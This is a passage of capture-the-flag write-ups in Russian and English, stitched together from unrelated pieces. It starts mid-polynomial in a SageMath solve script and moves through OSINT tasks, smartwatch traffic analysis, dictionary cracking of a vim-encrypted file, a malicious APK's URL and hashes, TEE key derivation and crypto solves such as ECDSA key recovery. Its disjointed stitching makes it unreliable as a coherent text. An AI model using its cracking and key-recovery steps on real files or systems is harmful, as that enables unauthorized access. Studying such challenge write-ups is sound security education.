+ 32356*x^224 + 27350*x^223 + 34810*x^222 + 27676*x^221 + 24351*x^220 + 9218*x^219 + 27072*x^218 + 21176*x^217 + 2139*x^216 + 8244*x^215 + 1887*x^214 + 3854*x^213 + 24362*x^212 + 10981*x^211 + 14237*x^210 + 28663*x^209 + 32272*x^208 + 29911*x^207 + 13575*x^206 + 15955*x^205 + 5367*x^204 + 34844*x^203 + 15036*x^202 + 7662*x^201 + 16816*x^200 + 1051*x^199 + 16540*x^198 + 17738*x^197 + 10212*x^196 + 4180*x^195 + 33126*x^194 + 13014*x^193 + 16584*x^192 + 10139*x^191 + 27520*x^190 + 116*x^189 + 28199*x^188 + 31755*x^187 + 10917*x^186 + 28271*x^185 + 1152*x^184 + 6118*x^183 + 27171*x^182 + 14265*x^181 + 905*x^180 + 13776*x^179 + 854*x^178 + 5397*x^177 + 14898*x^176 + 1388*x^175 + 14058*x^174 + 6871*x^173 + 13508*x^172 + 3102*x^171 + 20438*x^170 + 29122*x^169 + 17072*x^168 + 23021*x^167 + 29879*x^166 + 28424*x^165 + 8616*x^164 + 21771*x^163 + 31878*x^162 + 33793*x^161 + 9238*x^160 + 23751*x^159 + 24157*x^158 + 17665*x^157 + 34015*x^156 + 9925*x^155 + 2981*x^154 + 24715*x^153 + 13223*x^152 + 1492*x^151 + 7548*x^150 + 13335*x^149 + 24773*x^148 + 15147*x^147 + 25234*x^146 + 24394*x^145 + 27742*x^144 + 29033*x^143 + 10247*x^142 + 22010*x^141 + 18634*x^140 + 27877*x^139 + 27754*x^138 + 13972*x^137 + 31376*x^136 + 17211*x^135 + 21233*x^134 + 5378*x^133 + 27022*x^132 + 5107*x^131 + 15833*x^130 + 27650*x^129 + 26776*x^128 + 7420*x^127 + 20235*x^126 + 2767*x^125 + 2708*x^124 + 31540*x^123 + 16736*x^122 + 30955*x^121 + 14959*x^120 + 13171*x^119 + 5450*x^118 + 20204*x^117 + 18833*x^116 + 33989*x^115 + 25970*x^114 + 767*x^113 + 16400*x^112 + 34931*x^111 + 7923*x^110 + 33965*x^109 + 12199*x^108 + 11788*x^107 + 19343*x^106 + 33039*x^105 + 13476*x^104 + 15822*x^103 + 20921*x^102 + 25100*x^101 + 9771*x^100 + 5272*x^99 + 34002*x^98 + 16026*x^97 + 23104*x^96 + 33331*x^95 + 11944*x^94 + 5428*x^93 + 11838*x^92 + 30854*x^91 + 18595*x^90 + 5226*x^89 + 23614*x^88 + 5611*x^87 + 34572*x^86 + 17035*x^85 + 16199*x^84 + 26755*x^83 + 10270*x^82 + 25206*x^81 + 30800*x^80 + 21714*x^79 + 2088*x^78 + 3785*x^77 + 9626*x^76 + 25706*x^75 + 24807*x^74 + 31605*x^73 + 5292*x^72 + 17836*x^71 + 32529*x^70 + 33088*x^69 + 16369*x^68 + 18195*x^67 + 22227*x^66 + 8839*x^65 + 27975*x^64 + 10464*x^63 + 29788*x^62 + 15770*x^61 + 31095*x^60 + 276*x^59 + 25968*x^58 + 14891*x^57 + 23490*x^56 + 34563*x^55 + 29778*x^54 + 26719*x^53 + 28613*x^52 + 1633*x^51 + 28335*x^50 + 18278*x^49 + 33901*x^48 + 13451*x^47 + 30759*x^46 + 19192*x^45 + 31002*x^44 + 11733*x^43 + 29274*x^42 + 11756*x^41 + 6880*x^40 + 11492*x^39 + 7151*x^38 + 28624*x^37 + 29566*x^36 + 33986*x^35 + 5726*x^34 + 5040*x^33 + 14730*x^32 + 7443*x^31 + 12168*x^30 + 24201*x^29 + 20390*x^28 + 15087*x^27 + 18193*x^26 + 19798*x^25 + 32514*x^24 + 25252*x^23 + 15090*x^22 + 2653*x^21 + 29310*x^20 + 4037*x^19 + 6440*x^18 + 16789*x^17 + 1891*x^16 + 20592*x^15 + 11890*x^14 + 25769*x^13 + 29259*x^12 + 23814*x^11 + 17565*x^10 + 16797*x^9 + 34151*x^8 + 20893*x^7 + 2807*x^6 + 209*x^5 + 3217*x^4 + 8801*x^3 + 21964*x^2 + 16286*x + 12050new_n = n.factor()[0][0]phi = 1for i in new_n.factor(): phi=phi*(pow(p, i[0].degree())-1)u = P.quotient(new_n, 'a')a = u.gen()g = ah = 10254*a^255 + 11436*a^254 + 9453*a^253 + 31783*a^252 + 22103*a^251 + 10097*a^250 + 28892*a^249 + 18508*a^248 + 22160*a^247 + 26375*a^246 + 3876*a^245 + 19858*a^244 + 30728*a^243 + 7847*a^242 + 16954*a^241 + 3306*a^240 + 13208*a^239 + 25886*a^238 + 33685*a^237 + 6481*a^236 + 12387*a^235 + 16989*a^234 + 32301*a^233 + 3069*a^232 + 1062*a^231 + 30500*a^230 + 7726*a^229 + 5137*a^228 + 10962*a^227 + 10406*a^226 + 22108*a^225 + 21887*a^224 + 739*a^223 + 27363*a^222 + 5715*a^221 + 8176*a^220 + 32398*a^219 + 33238*a^218 + 28151*a^217 + 18812*a^216 + 24615*a^215 + 8245*a^214 + 9730*a^213 + 8071*a^212 + 5590*a^211 + 21532*a^210 + 5962*a^209 + 17369*a^208 + 25626*a^207 + 14284*a^206 + 32492*a^205 + 3944*a^204 + 5227*a^203 + 30264*a^202 + 17098*a^201 + 28516*a^200 + 19180*a^199 + 31133*a^198 + 6217*a^197 + 29652*a^196 + 23061*a^195 + 22336*a^194 + 7848*a^193 + 15686*a^192 + 14763*a^191 + 27394*a^190 + 26349*a^189 + 3586*a^188 + 13954*a^187 + 12979*a^186 + 1909*a^185 + 506*a^184 + 18147*a^183 + 12126*a^182 + 8258*a^181 + 32944*a^180 + 11947*a^179 + 1354*a^178 + 33656*a^177 + 12395*a^176 + 14442*a^175 + 8301*a^174 + 4409*a^173 + 28252*a^172 + 29872*a^171 + 14252*a^170 + 2279*a^169 + 6317*a^168 + 31734*a^167 + 19036*a^166 + 520*a^165 + 34967*a^164 + 15096*a^163 + 20173*a^162 + 18962*a^161 + 28622*a^160 + 9961*a^159 + 18600*a^158 + 4794*a^157 + 33233*a^156 + 23874*a^155 + 26462*a^154 + 17088*a^153 + 11202*a^152 + 11392*a^151 + 16258*a^150 + 19460*a^149 + 17784*a^148 + 28458*a^147 + 817*a^146 + 25362*a^145 + 35096*a^144 + 3283*a^143 + 6551*a^142 + 30282*a^141 + 1134*a^140 + 29704*a^139 + 12388*a^138 + 20847*a^137 + 23240*a^136 + 25554*a^135 + 19687*a^134 + 22021*a^133 + 33659*a^132 + 19105*a^131 + 15422*a^130 + 32550*a^129 + 20712*a^128 + 11862*a^127 + 31185*a^126 + 9245*a^125 + 20218*a^124 + 18357*a^123 + 12809*a^122 + 20336*a^121 + 5247*a^120 + 6737*a^119 + 15970*a^118 + 14986*a^117 + 13437*a^116 + 8582*a^115 + 35005*a^114 + 14125*a^113 + 1110*a^112 + 11888*a^111 + 28756*a^110 + 11610*a^109 + 10241*a^108 + 13301*a^107 + 10052*a^106 + 3501*a^105 + 33176*a^104 + 12987*a^103 + 27504*a^102 + 21903*a^101 + 16653*a^100 + 12466*a^99 + 33281*a^98 + 360*a^97 + 26611*a^96 + 8066*a^95 + 1528*a^94 + 34974*a^93 + 16606*a^92 + 6724*a^91 + 18933*a^90 + 6703*a^89 + 6011*a^88 + 12647*a^87 + 32169*a^86 + 27545*a^85 + 18417*a^84 + 31199*a^83 + 17400*a^82 + 23798*a^81 + 16555*a^80 + 23009*a^79 + 1904*a^78 + 4962*a^77 + 1390*a^76 + 8141*a^75 + 25010*a^74 + 33199*a^73 + 19059*a^72 + 23473*a^71 + 14324*a^70 + 30136*a^69 + 15298*a^68 + 29677*a^67 + 33907*a^66 + 2250*a^65 + 34933*a^64 + 11261*a^63 + 22789*a^62 + 3652*a^61 + 15401*a^60 + 8978*a^59 + 32965*a^58 + 2505*a^57 + 17018*a^56 + 33296*a^55 + 27680*a^54 + 6679*a^53 + 24625*a^52 + 28932*a^51 + 789*a^50 + 10745*a^49 + 15681*a^48 + 14757*a^47 + 8233*a^46 + 15427*a^45 + 10112*a^44 + 30124*a^43 + 3701*a^42 + 31048*a^41 + 29692*a^40 + 2865*a^39 + 9066*a^38 + 20493*a^37 + 25607*a^36 + 115*a^35 + 9724*a^34 + 20716*a^33 + 19260*a^32 + 19536*a^31 + 6311*a^30 + 4672*a^29 + 27315*a^28 + 12186*a^27 + 17786*a^26 + 7341*a^25 + 4276*a^24 + 9217*a^23 + 6637*a^22 + 18711*a^21 + 19348*a^20 + 14022*a^19 + 30518*a^18 + 10550*a^17 + 19146*a^16 + 2430*a^15 + 25237*a^14 + 34375*a^13 + 2497*a^12 + 35085*a^11 + 8261*a^10 + 3388*a^9 + 26236*a^8 + 14902*a^7 + 14487*a^6 + 24280*a^5 + 11078*a^4 + 7380*a^3 + 24669*a^2 + 549*a + 1468factors = factor(phi)l1 = []l2 = []x1 = 1for i in factors: a = int(phi/pow(i[0], i[1])) b = int(pow(i[0], i[1])) gi = g^a hi = h^a for j in range(b): if(gi^j == hi): l1.append(j) l2.append(b) breakprint('inctf{'+int.to_bytes(int(crt(l1, l2)), 7, 'big')[1:].decode()+'}')```
Этот таск вызвал бурю неодобрений и миллион вопросов, и, конечно 200 человек стали лучше знать химию, производство рактеного топлива и тд. Вокруг этого таска стало стоиться множество легенд и загадок, казалось бы... А ведь я его написала за 2 дня до начала соревнований! К делу!Узнаем, что CTF - это en.wikipedia.org/wiki/Chlorine_trifluorideна русском как раз сказано, что ru.wikipedia.org/wiki/Фторид_хлора(III) "обладает удушающим действием"О ракетном топливе и его использовании намного больше написано в английской версии. Мы видим, что какой-то институт занимался исследованием этого Chlorine trifluoride. The code name кстати - N-Stoff."...chlorine trifluoride was investigated for military applications by the Kaiser Wilhelm Institute in Nazi Germany not long before the start of World War II"и в этой фразе мы видим, что CTF был "investigated by the Kaiser Wilhelm Institute" но подсказкой тут является то, что он использовался в ракетном топливе, которое использовала Nazi Germanyдалее ищем в гугле еще информацию, например так:```"Chlorine Trifluoride N-stoff Rocket fuel developed by the"```можно по-разному это писать, но в итоге гугл в одном из первых запросов предложит:```https://www.urbandictionary.com/define.php?term=Chlorine%20Trifluoride```И, о, удача! мы как раз видим "Also known as N-stoff, Nazi rocket fuel and chemical weapon developed exclusively by the SS" можем погуглить про ss, синонимы - сс, schutzstaffelnINFO: SS — Schutzstaffel «отряды охраны») — военизированные формирования Третьего Рейх (2-ая мировая)во флаге можно сдать как угодно - прописано все 3 варианта в case insensitive да! для меня это был бы самый-самый сложный таск, но мне так понравилось название - CTF, что мимо пройти я не смогла :)тут уклон именно на developed (разработка), многие могут решить, что речь идет именно об институте, который "исследовал", но в вопросе выделено даже специальным шрифтом ключевое слово.
We can see three variants of dns requests - sg.flow.m5stack.com, flow.m5stack.com, 553b30325177.ngrok.io This microcontroller (actually ESP32 smartwatch) was made by m5stack, it's programmable, and supports remote code execution, if you know the token. ESP32 connects with server using MQTT proto, and you can spoof the token of device using mitm. If you follow the link flow.m5stack.com, you will see, that is's quite easy to send remote command to smartwatch. But you cannot the any output of lcd screen, this ray bad guy uses gnrok as a proxy to collect information about device. Next step he tries to delete data on the smart watch and write "HACKED" on the lcd screen.
### Vencryption> Challenge statement:>> I know the flag is in this file! I just cannot open it for some reason... Solution:1. After downloaded the file, we knew that the file was encrypted by vim 2. To decrypt the message we can use [vim decryptor](https://github.com/nlitsme/vimdecrypt) written by [nlitsme](https://github.com/nlitsme)3. I used rockyou wordlist and this command to decrypt the text message ``` python vimdecrypt.py --dictionary /usr/share/wordlists/rockyou.txt ~/Desktop/Hacktivity\ CTF/vencrypted.txt ```4. After run that command we will get the result like this ![Vencrypted Result](https://github.com/m0nkeyt3ch/CTFs-Writeups/blob/master/HacktivityCon-CTF-2020/Image/vencrypted.png?raw=true) 5. Using vim to open the vencrypted.txt and enter the password you got before ``` vim encrypted.txt ``` ![Vencrypted opened](https://github.com/m0nkeyt3ch/CTFs-Writeups/blob/master/HacktivityCon-CTF-2020/Image/vencrypted-2.png?raw=true) 6. After we opened it we found the flag is 'flag{sometimes_it_really_do_be_like_that_tho}' FLAG: **flag{sometimes_it_really_do_be_like_that_tho}**
Его решило очень много, собственно проблем особо возникнуть и не должно было, ну и, конечно, для иностранцев он был более решаем! Ведь линкедин заблокирован в России, хотя мне удалось туда зайти из обычного хрома... (чудеса, да и только!) Надо вспомнить сервисы, где обычно ищут работу. Можно проверить hh.ru или подобные российские ресурсы, там ничего не обнаружится. Нужно немного подумать, где в основном специалисты особенно таких областе могут искать работу? Конечно в linkedin. Лично я, составляя этот таск, впервые столкнулась с этим сайтом, давно хтела на нем зарегаться, но что-то было не до этого, и вот удачно представился шанс... Ну что ж, можно не регаться, а посмотреть в поисковой строке "Алина Волкова специалист по информационной безопасности" - найдется профиль, но там все бует скрыто - вывод 1 - нужно регаться, ведь настоящие осинтеры для поиска настоящей информации иногда должны сами проникать в сети (ха-ха). И, конечно, на главной странице мы увидим 1 единственный пост```linkedin[.]com/posts/alina-volkova-4750081b4_opentowork-osint-activity-6694512820349898752-SgI_``` В этом посте находитя флаг. unictf{h4rd_t0_f1nd_3asy_t0_l0s3}
Способ 1. 1 - домик-приют для всех малварных сайтов или урлов - это конечно урлхаус, а точнее urlhaus.abuse.chесли там в поле Browse указать "coronavirus", то на последней строке вы найдете coronaviruscovid19-information.com/tr/corona.apk с тэгами "apk, banking bot" от аналитика - @mertcangokgozнайдя информаю про @mertcangokgoz все сходится - https://github.com/MertcanGokgoz 2 - на virustotal.com загружаем "http://coronaviruscovid19-information[.]com/tr/corona.apk"в поле Relations видим Андроид-файл 1de6e6c140ff1b301b7df12d4b6388a21a6fbf0f141347dd2f9289740438a6d8.binтыкаме на него и в поле Details находим md5 и file size in bytes, 599db33d534d1e98ea63dd2ce30100a7 and 1499408```https://www.virustotal.com/gui/file/1de6e6c140ff1b301b7df12d4b6388a21a6fbf0f141347dd2f9289740438a6d8/details``` Есть и другие способы, конечно, можно было искать сначала этого аналитика, но иногда проще воспользоваться подсказками из текста в конце, чем в начале!
По цифрам в интернете многого не найдёшь, поэтому внимательно почитаем текст ещё раз. ```реферат по какой-то географической теме, то ли об атмосфере, то ли о климате его места жительства``` - место жительства - Москва, поскольку ИГРАН - московский институт. Значит реферат о климате или атмосфере Москвы. Круг поиска значительно сужается. Посмотрев внимательно на картинку: сможем увидеть картинку ветров с сайта windfinder.com и ему подобного, а также какую-то статью на английском языке о скорости ветра и статью о климате (к них подчеркнуты ключевые слова). Все это можно сложить и в итоге получить, что числа связаны со скоростью ветра и климатом конкретно Москвы, раз о ней говорится в начале задания. То,что имеется на картинке:```2,5 . 2,5 2,5 . . 1,9 . . 2,4 2,5 . ```Есть разные варианты поиска, можно попробовать так:```"скорость ветра" AND "климат Москвы" AND 2,5 AND 2,5 AND 2,5 AND 1,9 AND 1,8 AND 2,4 AND 2,5```можно так:```"скорость ветра" AND "климат Москвы"```можно как-либо иначе, это не имеет разницы :) В любом случае первой будет статья на Википедии о климате Москвы с разделом о скорости ветра, открываем её, находим раздел `скорость ветра` и бинго! Мы нашли те самые числа. Осталось их переписать и сдать флаг. Полный список чисел (они значат среднюю скорость ветра за каждый из 12 месяцев в Москве):```2,5 2,5 2,5 2,5 2,2 2,1 1,9 1,8 2,0 2,4 2,5 2,6```В ответ пишем только те, которые пропущены:```2,5 2,2 2,1 1,8 2,0 2,6```
The next task is a little harder than the previous. Open task2 in IDA and see that file not stripped, cool! ```Cint __cdecl main(int argc, const char **argv, const char **envp){ const char *v3; // r3 char *v4; // r2 int v7; // r0 int v8; // r1 _WORD *v9; // r4 const char *v10; // r4 int v11; // r7 int v12; // r0 int v13; // r6 size_t size; // r7 void *key_der; // r4 size_t v16; // r0 int mode; // r3 int file; // [sp+0h] [bp-40h] char ses; // [sp+4h] [bp-3Ch] char v21; // [sp+14h] [bp-2Ch] v3 = "SUPERSECRETSTRING"; v4 = &v2;; do... // cp v3 to v21 *v9 = *(_WORD *)v3; if ( argc != 3 || (v10 = argv[1], v11 = strcmp(argv[1], "decrypt"), v12 = strcmp(v10, "encrypt"), v13 = v12, v11) && v12 ) { puts("Usage task2 <encrypt/decrypt> <name file>"); exit(0); } size = read_file(&file, (int)argv[2]); prepare_tee_session(&ses); key_der = malloc(0x20u); memset(key_der, 173, 0x20u); v16 = strlen(&v21); memcpy(key_der, &v21, v16); mode = v13; if ( v13 ) mode = 1; derive_key((int)&ses, (int)key_der, 0x20, mode); finalize_op(&ses, &file, size); if ( v13 ) printf("Your FLAG %s\n", "Hello_world"); save_file((const void **)&file, (int)argv[2], size); terminate_tee_session(&ses); free(key_der); return 0;}```We see that there is a certain derive of a key and the finalize op of the decryption or encryption operation. The key is derive on the basis of the SUPERSECRETSTRING string padded to length with 32 bytes `0xad`. In func `read_file` seen that file will padding with zero bytes to length multiple 16. When a file is encrypted / decrypted, it is saved to the same file. Ok, lets check func `derive_key` and `finalize_op`.```Cnt __fastcall derive_key(int *ses, int key, int key_len, int mode){ int result; // r0 int v9; // [sp+0h] [bp-58h] TEEC_Operation op; // [sp+4h] [bp-54h] memset(&op, 0, 0x3Cu); op.paramTypes = 21; op.params[0].tmpref = key; op.params[1].tmpref = key_len; op.params[3].tmpref = mode; result = TEEC_InvokeCommand(ses + 2, 1, &op, &v9;; if ( result ) errx(1, "TEEC_InvokeCommand failed with code 0x%x origin 0x%x", result, v9); return result;}``````Cvoid __fastcall finalize_op(int ses, void **file, size_t size){ void *out_buf; // r6 int v7; // r2 int v8; // [sp+0h] [bp-58h] TEEC_Operation s; // [sp+4h] [bp-54h] memset(&s, 0, 0x3Cu); out_buf = malloc(size); s.paramTypes = 101; s.params[0].tmpref = (uint32_t)*file; s.params[1].tmpref = size; s.params[3].tmpref = (uint32_t)out_buf; s.imp = size; v7 = TEEC_InvokeCommand(ses + 8, 2, &s, &v8;; if ( v7 ) errx(1, "TEEC_InvokeCommand failed with code 0x%x origin 0x%x", v7, v8); free(*file); *file = out_buf;}````derive_key` sends key and mode (dec / enc),` finalize_op` sends input data and output buffer to TA. There is nothing to watch now, close client and open TA same way as in first task.Find `TA_InvokeCommandEntryPoint` function by xrefs to same string. Found 2 supported command is finalize_op, and derive_key named by the same names in client. ```Cint __fastcall TA_InvokeCommandEntryPoint(int sessionContext, int commandID, int paramTypes, int params){ if ( commandID == 1 ) return derive_key((_DWORD *)sessionContext, paramTypes, (int *)params); if ( commandID == 2 ) return finalize_op(sessionContext, paramTypes, params); sub_5DA("TA_InvokeCommandEntryPoint", 213, 1, 1, "Command ID 0x%x is not supported", commandID, params, paramTypes); return 0xFFFF000A;}signed int __fastcall derive_key(_DWORD *sessionContext, int paramTypes, TEEC_Parameter *params){ int xor_key; // [sp+18h] [bp+8h] int v8; // [sp+1Ch] [bp+Ch] int size; // [sp+28h] [bp+18h] int key; // [sp+2Ch] [bp+1Ch] int v12; // [sp+34h] [bp+24h] int i; // [sp+38h] [bp+28h] int v14; // [sp+3Ch] [bp+2Ch] v12 = 21; if ( paramTypes != 21 ) return 0xFFFF0006; *sessionContext = params[2].tmpref; if... v14 = allocate_operation(sessionContext + 1, 0x10000110u, *sessionContext, 0x100u);// TEE_ALG_AES_CBC_NOPAD if ( v14 ) { sub_5DA("derive_key", 44, 1, 1, "Failed to allocate operation"); sessionContext[1] = 0; } else { key = params->tmpref; size = params[1].tmpref; getprop(0xFFFFFFFF, "unictf.2020.data.key", &xor_key);// 0x41 for ( i = 0; i <= 15; ++i ) *(_BYTE *)(i + key) ^= (_BYTE)i + (_BYTE)xor_key; v14 = allocate_transient_object(0xA0000010, 256, sessionContext + 2);// TEE_TYPE_AES if ( v14 ) { sub_5DA("derive_key", 63, 1, 1, "Failed to allocate transient object"); sessionContext[2] = 0; } else { sub_1140E((int)&v8, 0xC0000000, key, size);// secret value v14 = TEE_PopulateTransientObject(sessionContext[2], &v8, 1); if ( !v14 ) return 0; sub_5DA("derive_key", 72, 1, 1, "TEE_PopulateTransientObject failed, %x", v14); } } if... sessionContext[1] = 0; if... sessionContext[2] = 0; return v14;}``` Okey general key derive is: ```pythonkey = list(b"SUPERSECRETSTRING"+b"\xad"*(32-17))for i in range(16): key[i]^=(0x41+i)```check finalyze func to get iv```Csigned int __fastcall finalize_op(int *session, int paramtypes, TEEC_Parameter *params){ int v6; // r3 char iv[16]; // [sp+1Ch] [bp+8h] int v10; // [sp+2Ch] [bp+18h] int v12; // [sp+34h] [bp+20h] v12 = 101; if ( paramtypes != 101 ) return 0xFFFF0006; v10 = TEE_SetOperationKey(session[1], session[2]); if ( v10 ) { sub_5DA("finalize_op", 107, 1, 1, "TEE_SetOperationKey failed %x", v10); if ( session[1] ) sub_340A(session[1]); session[1] = 0; if ( session[2] ) sub_111F6(session[2]); session[2] = 0; v6 = v10; } else { memset((int)iv, 0, 0x10); sub_3CBA(session[1], iv, 0x10); v6 = sub_4062(session[1], params->tmpref, params[1].tmpref, params[2].tmpref, &params[3].tmpref); } return v6;}```Now try decrypt with this key flag ```Pythonfrom Crypto.Cipher import AES flag=open("flag.enc","rb").read()key = list(b"SUPERSECRETSTRING"+b"\xad"*(32-17))for i in range(16): key[i]^=(0x41+i)key_b=b""for i in key: key_b+=i.to_bytes(1,"little")cipher = AES.new(key_b, AES.MODE_CBC, b"\x00"*16)cipher.decrypt(flag)>>> b'unictf{A4@1n_F1l3_ENCRYPTION}\n\x00\x00'```Decrypt private.enc```pythonprivate = open("Private.enc","rb").read()cipher = AES.new(key_b, AES.MODE_CBC, b"\x00"*16)private = cipher.decrypt(private)with open("private.der","wb") as f: f.write(private)```And lets try to solve next task
# Inctfi 2020 Writeups - Crypto - [PolyRSA](#polyrsa) - [DLPoly](#dlpoly) - [bakflip&sons](#bakflip) - [EaCy](#Eacy) --- # PolyRSA Challenge Writeup [Crypto] For this challenge we were given a single file [out.txt](/Inctfi-2020/PolyRSA/out.txt) which contains commands used in sage interactive shell and there output. In the `out.txt` file we have, three values - p = 2470567871 (a prime number)- n = ... (a 255 degree polynomial)- c = m ^ 65537 (also a polynomial) These parameters constitute the `RSA` Encryption but instead of `Group` of numbers modulo `n`, thisuses `univariate polynomials over the finite field Zp`.Use the following resource to understand about this [Polynomial based RSA](http://www.diva-portal.se/smash/get/diva2:823505/FULLTEXT01.pdf) As in integer group, we have to find the `multiplicative` order of the group formed by `residue polynomials` of given `n`. Above resource specifies the formula in page 14 as `s = (p**d1 - 1) * (p**d2 - 1)` where d1 and d2 are the degrees of irreducible polynomials constituing the given `modulus(n)`. After obtaining `s` (multiplicative order), finding the inverse of `e = 65537` and raising the `ct` polynomial to the inverse gives the `message` polynomial. Converting the coefficients of `message` polynomial gives us the `flag`. ```pythonq1, q2 = n.factor()q1, q2 = q1[0], q2[0]s = (p**q1.degree() - 1) * (p**q2.degree() - 1)assert gcd(e, s) == 1d = inverse_mod(e, s)m = pow(c, d, n)flag = bytes(m.coefficients()) ```solution code :: [solve.sage](/Inctfi-2020/PolyRSA/solve.sage) Flag :: inctf{and_i_4m_ir0n_m4n} --- # DLPoly challenge writeup [Crypto] Got second blood for this challenge.This challenge is similar to above challenge. we were given [out.txt](/Inctfi-2020/DLPoly/out.txt) file which contains the commands and output in sage interactive shell. In the `out.txt` file we have,- p = 35201- n (a 256 degree polynomial with coefficients in Zmod(p))- len(flag) = 14- g = x (a 1 degree polynomial)- X = int.from_bytes(flag.strip(b'inctf{').strip(b'}') , 'big')- g ^ X In order to get the `flag`, we have to solve the `discrete logarithm` in the `group`of `residues(polynomial)` modulo `n` with coefficients in `Zmod(p)`(Zp[x]). Use the resource mentioned in [PolyRSA](#polyrsa) writeup for a better understanding. factoring `n` and finding the `order` ```pythonnfactors = n.factor()s = 1for i in nfactors: s *= p**(i[0].degree()) - 1```factoring the `order(s)` shows that `s` has many small factors.```python 2^208 * 3^27 * 5^77 * 7^2 * 11^26 * 13 * 31^25 * 41^25 * 241 * 271 * 1291^25 * 5867^26 * 6781^25 * 18973 * 648391 * 62904731^25 * 595306331^25 * 1131568001^25``` As the `order` contains `small factors`, we can use `pohlig hellman algorithm` to find `discrete logarithm`. we have to select the `factors` carefully as raising `base element (g)` to many of the factors gives the `identity element (1)` which we cannot use. So, taking the following factors```python[7^2, 13, 241, 271, 18973, 648391] ```we can calculate the value of `flag(X)` modulo `prod([7^2, 13, 241, 271, 18973, 648391])` using `CRT`.Value obtained is the correct value of the `flag` as the `X` is less than `2**(7*8)` i.e `X` is 7 bytes long. quick and ugly implementation of pohlig hellman ::```pythondef brute_dlp(gi, ci, n, lim): bi = gi for i in range(1, lim+1): if bi == ci: return i bi = (bi * gi) % n print("[-] NOT in the range") print("[-] Something's Wrong, you gotta check the range", lim) def pohlig_hellman(g, c, s, n, factors): res = [] modulus = [] for q, e in factors: assert pow(g, s//(q**e), n) != 1 gi = pow(g, s//(q**e), n) ci = pow(c, s//(q**e), n) dlogi = brute_dlp(gi, ci, n, q**e) print("[+] dlog modulo {0} == {1}".format(q**e, dlogi)) res.append(dlogi) modulus.append(q**e) print("\n[*] res = ", res) print("[*] modulus = ", modulus) dlog = CRT(res, modulus) print("\n[+] dlog modulo {0} == {1}".format(prod(modulus), dlog)) return dlog``` solution code :: [solve.sage](Inctfi-2020/DLPoly/solve.sage) Flag :: inctf{bingo!} --- # Bakflip&sons challenge Writeup [Crypto] This challenge runs the [challenge.py](/Inctfi-2020/Bakflip_n_sons/challenge.py) on the server. It provides two functionalities `signMessage` and `getFlag`.`signMessage` signs the given message using then`ecdsa` with `NIST198p` elliptic curve.`getFlag` gives us the `flag` if we can provide the `ecdsa signature` of message `please_give_me_the_flag`. ```pythondef signMessage(): print(""" Sign Message Service - courtsy of bakflip&sons """) message = input("Enter a message to sign: ").encode() if message == b'please_give_me_the_flag': print("\n\t:Coughs: This ain't that easy as Verifier1") sys.exit() secret_mask = int(input("Now insert a really stupid value here: ")) secret = secret_multiplier ^ secret_mask signingKey = SigningKey.from_secret_exponent(secret) signature = signingKey.sign(message) print("Signature: ", hexlify(signature).decode()) def getFlag(): print(""" BeetleBountyProgram - by bakflip&sons Wanted! Patched or Alive- $200,000 Submit a valid signature for 'please_give_me_the_flag' and claim the flag """) signingKey = SigningKey.from_secret_exponent(secret_multiplier) verifyingKey = signingKey.verifying_key try: signature = unhexlify(input("Forged Signature: ")) if verifyingKey.verify(signature, b'please_give_me_the_flag'): print(flag) except: print("Phew! that was close")``` As we can see in the `signMessage` function declaration, it doesn't allow us to obtain `signature` of our `target message`. At the start of execution, `challenge.py` generates `secret key` with `101 bit_length````pythonsecret_multiplier = random.getrandbits(101)```In order to forge the signature, we have to calculate the `secret key`, we won't be able to solve the`ecdlp` but we can use the `additional secret mask` requested in `signMessage` function.```pythonsecret_mask = int(input("Now insert a really stupid value here: "))secret = secret_multiplier ^ secret_mask```so, we can modify the `secret key` used for `signing`.we can use this to completely obtain the `secret key` in a few iterations.```Let G be the generators1 is the secret_keys2 is the secret_key ^ mask (^ --> xor operation)P = s1 * GQ = s2 * Gsuppose if the mask is `1` s2 = s1 ^ 1 , (xor with 1 flips the lsb) if lsb of s1 is 0 then s2 = s1 + 1 => Q = s2 * G = (s1 + 1) * G = P + G else if lsb of s1 is 1 then s2 = s1 - 1 => Q = s2 * G = (s1 - 1) * G = P - G Given the points P, Q we can obtain the lsb of secret_key s1by checking if Q == P + G then lsb of secret key is 0 else Q == P - G then lsb of secret key is 1 similarly we can set the nth(lsb is 0 bit) lower bit in the mask i.e mask = (1 << n)flipping the nth lower bit, decreases or increases the secret_key(s1) by 2**n based on whether nth bit in secret_key is set or notso, checking if Q == P + (2**n) * G or Q == P - (2**n) * G gives the nth bit``` Using the above method recursively gives the complete `secret key` and we can use that to forge the required `signature`. There are small hurdles in the challenge1. Only `signature` is given, we have to calculate the `Public Key (P)`.2. We have only `73` iterations, we have to calculate the `101 bit key` using less than `72` iterations. For the first problem, we can use the `signature (r,s)` to obtain the `Public Key`, two valid `Public Keys` are possible for a given `signature` pair `(r, s)`. we have to use other `Public Keys` to identify the correct key. For the second problem, we can extend the same theory for any number of bits with bruteforceable number of cases.example of `2 bits`.```pythonsecret_key_lsb =>00 --> Q = P + 3*G01 --> Q = P + G10 --> Q = P - G11 --> Q = P - 3*G```Using the above approach with `2 bits`, we can calculate secret_key using less than `72` iterations and get the `flag`. There are a lot of small implementation details, check out my solution code :: [solve.sage](/Inctfi-2020/Bakflip_n_sons/solve.sage) FLAG :: inctf{i_see_bitflip_i_see_family} --- # EaCy challenge writeup [Crypto] Luckily I got First Blood for this challenge. we were given four files1. [ecc.py](/Inctfi-2020/EaCy/ecc.py) contains classes to work with elliptic curves2. [ansi931.py](/Inctfi-2020/EaCy/ansi931.py) contains classes to generate random data using ANSI X9.31 with AES 1283. [prng.py](/Inctfi-2020/EaCy/prng.py) contains implementation of dual_ec_drbg random generator along with prng using ANSI X9.314. [encrypt.py](/Inctfi-2020/EaCy/encrypt.py) The basic flow of service is as follows- Generates a `random number` e using the `prng` defined in `prng.py`.- Asks to choose between `[1] Asynchronous SchnorrID` and `[2] Synchronous SchnorrID`. - Asks the user for two Points `Q`, `R`.- Gives the value of `e` to the user if 1 is selected (Asynchronous SchnorrID)- User has to provide value of `s` such that `s*P == e*Q + R`, P is an hard coded point- if the above condition fails then it closes the connection- if we can provide the correct `s` without the `e` value i.e in `Synchronous SchnorrID`, we can request the flag service repeats the above process for 10 times. if we have `e` value, we can pass the condition by sending point `P` for both `Q` and `R` values and `(e + 1)` value.```s*P = (e + 1) * P = e*P + P = e*Q + R```so, if we know the value of `e` we can easily pass the condition, in order to get the flag we have tocalculate the `s` value without taking `e` from the service. Only way is to crack the `prng` used```python def prng_reseed(self): self.prng_temporary = long_to_bytes(self.ecprng_obj.ec_generate()) assert len(self.prng_temporary) == 32 self.prng_seed = self.prng_temporary[:8] prng.prng_output_index = 8 self.prng_key = self.prng_temporary[8:] 